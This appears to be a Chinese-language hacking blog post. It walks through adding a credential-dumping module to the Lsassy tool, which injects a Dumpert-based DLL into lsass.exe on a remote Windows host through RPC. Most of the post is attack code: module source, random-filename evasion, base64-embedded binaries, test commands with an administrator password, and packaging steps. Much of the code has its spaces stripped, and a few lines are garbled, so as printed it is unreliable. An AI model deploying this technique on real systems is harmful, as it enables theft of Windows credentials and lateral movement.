Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86386998

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00 前言在之前的文章《渗透基础——远程从lsass.exe进程导出凭据》 介紹了Lsassy的用法,Lsassy能夠實現遠程從lsass.exe進程導出憑據。本文將要在Lsassy的基礎上進行二次開發,添加一個導出憑據的方法,記錄細節。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云二次開發的細節

马云惹不起马云 開源代碼

0x02 導出憑據的方法在之前的文章《渗透基础——从lsass.exe进程导出凭据》 提到過使用RPC控制lsass加載SSP的方式向lsass.exe進程注入dll,由dll來實現dump的功能,這個方法是Lsassy缺少的。

這個方法共分為兩部分:

(1)加載器使用RPC控制lsass進程加載dll文件

可參考XPN開源的代碼:

https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

在編譯代碼時,為了提高通用性,編譯選項選擇在靜態庫中使用MFC,在原代碼的基礎上添加如下代碼:

#pragmacomment(lib,'Rpcrt4.lib')編譯代碼生成文件rpcloader.exe

(2)dll文件dll文件實現從lsass.exe進程導出憑據,代碼可參考:

https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c

dll加載時會將dump文件保存為c:\windows\Temp\dumpert.dmp

編譯代碼生成文件dumpert.dll

經過以上操作,得到文件rpcloader.exe和dumpert.dll,作為二次開發的準備。

0x03 二次開發的細節1.添加一個需要指定文件路徑的dump方法格式參考:https://github.com/Hackndo/lsassy/blob/master/lsassy/dumpmethod/dummy.py.tpl

根據參考格式寫出模塊代碼,我這裡額外做了一些標記,細節如下:

fromlsassy.dumpmethodimportIDumpMethod,Dependency

classDumpMethod(IDumpMethod):

custom_dump_path_support=False

custom_dump_name_support=False

dump_name='dumpert.dmp'//進程dump文件保存的文件名

dump_share='C$'//進程dump文件保存的磁盤

dump_path='\\Windows\\Temp\\'//進程dump文件保存的路徑

def__init__(self,session,timeout):

super().__init__(session,timeout)

self.loader=Dependency('rpcloader','rpc.exe')//rpcloader為命令行使用的參數名,rpc.exe為上傳文件保存的文件名

self.dll=Dependency('dll','rpc.dll')//dll為命令行使用的參數名,rpc.dll為上傳文件保存的文件名

defprepare(self,options):

returnself.prepare_dependencies(options,[self.loader,self.dll])//確認命令行參數是否正確

defclean(self):

self.clean_dependencies([self.loader,self.dll])//清除上傳的文件

defget_commands(self,dump_path=None,dump_name=None,no_powershell=False):

cmd_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()//執行的命令:c:\windows\temp\rpc.exec:\windows\temp\rpc.dll

)

pwsh_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

return{

'cmd':cmd_command,

'pwsh':pwsh_command

}將以上代碼保存至python \Lib\site-packages\lsassy\dumpmethod\rawrpc.py

注:

上傳的文件可以使用隨機名稱,代碼self.loader=Dependency('rpcloader', 'rpc.exe')

可修改為self.loader=Dependency('rpcloader', ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + '.exe'),代碼self.dll=Dependency('dll', 'rpc.dll')可修改為self.dll=Dependency('dll', ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + '.dll')

測試命令:

lsassy-uAdministrator-pPassword1192.168.1.1-mrawrpc-Orpcloader_path=c:\test\rpcloader.exe,dll_path=c:\test\dumpert.dll該方法會將本地的c:\test\rpcloader.exe和c:\test\dumpert.dll複製到遠程主機並命名為c:\windows\temp\rpc.exe和c:\windows\temp\rpc.dll,將lsass進程的dump文件保存為c:\windows\temp\dumpert.dmp

2.添加一個全自動的dump方法為了使以上整個過程自動化,這裡可以選擇將exe和dll文件作base64編碼保存在變量中。

base64編碼的實現代碼:

importbase64

withopen('rpcloader.exe','rb')asfr:

content=fr.read()

data1=base64.b64encode(content).decode('utf8')

withopen('rpcloader-base64.txt','w')asfw:

fw.write(data1)

withopen('dumpert.dll','rb')asfr:

content=fr.read()

data1=base64.b64encode(content).decode('utf8')

withopen('dumpert-base64.txt','w')asfw:

fw.write(data1)將生成rpcloader-base64.txt和dumpert-base64.txt替換以下代碼中的base64

importbase64

importrandom

importstring

fromlsassy.dumpmethodimportIDumpMethod,Dependency

classDumpMethod(IDumpMethod):

custom_dump_path_support=False

custom_dump_name_support=False

dump_name='dumpert.dmp'

dump_share='C$'

dump_path='\\Windows\\Temp\\'

def__init__(self,session,timeout):

super().__init__(session,timeout)

self.loader=Dependency('rpcloader',''.join(random.choice(string.ascii_letters+string.digits)for_inrange(8))+'.exe')

self.loader.content=base64.b64decode('')

self.dll=Dependency('dll',''.join(random.choice(string.ascii_letters+string.digits)for_inrange(8))+'.dll')

self.dll.content=base64.b64decode('')

defprepare(self,options):

returnself.prepare_dependencies(options,[self.loader,self.dll])

defclean(self):

self.clean_dependencies([self.loader,self.dll])

defget_commands(self,dump_path=None,dump_name=None,no_powershell=False):

cmd_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

pwsh_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

return{

'cmd':cmd_command,

'pwsh':pwsh_command

}將以上代碼保存至python \Lib\site-packages\lsassy\dumpmethod\rawrpc_embedded.py

測試命令:

lsassy-uAdministrator-pPassword1192.168.1.1-mrawrpc_embedded3.打包成exe文件完整的打包命令:

pyinstaller-Fconsole.py--hidden-importunicrypto.backends.pure.DES--hidden-importunicrypto.backends.pure.TDES--hidden-importunicrypto.backends.pure.AES--hidden-importunicrypto.backends.pure.RC4--hidden-importlsassy.dumpmethod.comsvcs--hidden-importlsassy.dumpmethod.comsvcs_stealth--hidden-importlsassy.dumpmethod.d llinject--hidden-importlsassy.dumpmethod.dumpert--hidden-importlsassy.dumpmethod.dumpertdll--hidden-importlsassy.dumpmethod.edrsandblast--hidden-importlsassy.dumpmethod.mirrordump--hidden-importlsassy.dumpmethod.mirrordump_embedded--hidden-importlsassy.dumpmethod.nanodump--hidden-importlsassy.dumpmethod.ppldump--h idden-importlsassy.dumpmethod.ppldump_embedded--hidden-importlsassy.dumpmethod.procdump--hidden-importlsassy.dumpmethod.procdump_embedded--hidden-importlsassy.dumpmethod.rdrleakdiag--hidden-importlsassy.dumpmethod.wer--hidden-importlsassy.exec.mmc--hidden-importlsassy.exec.smb--hidden-importlsassy.exec.smb_stealth --hidden-importlsassy.exec.task--hidden-importlsassy.exec.wmi--hidden-importlsassy.output.grep_output--hidden-importlsassy.output.json_output--hidden-importlsassy.output.pretty_output--hidden-importlsassy.output.table_output--hidden-importlsassy.dumpmethod.rawrpc--hidden-importlsassy.dumpmethod.rawrpc_embedded0x04 小結Lsassy將不同的功能模塊化,結構設置合理,添加dump方法僅需要修改Dumper module對應的實現代碼。我已經將新添加的模塊推送至Lsassy,在最新版的Lsassy可以直接使用這個模塊。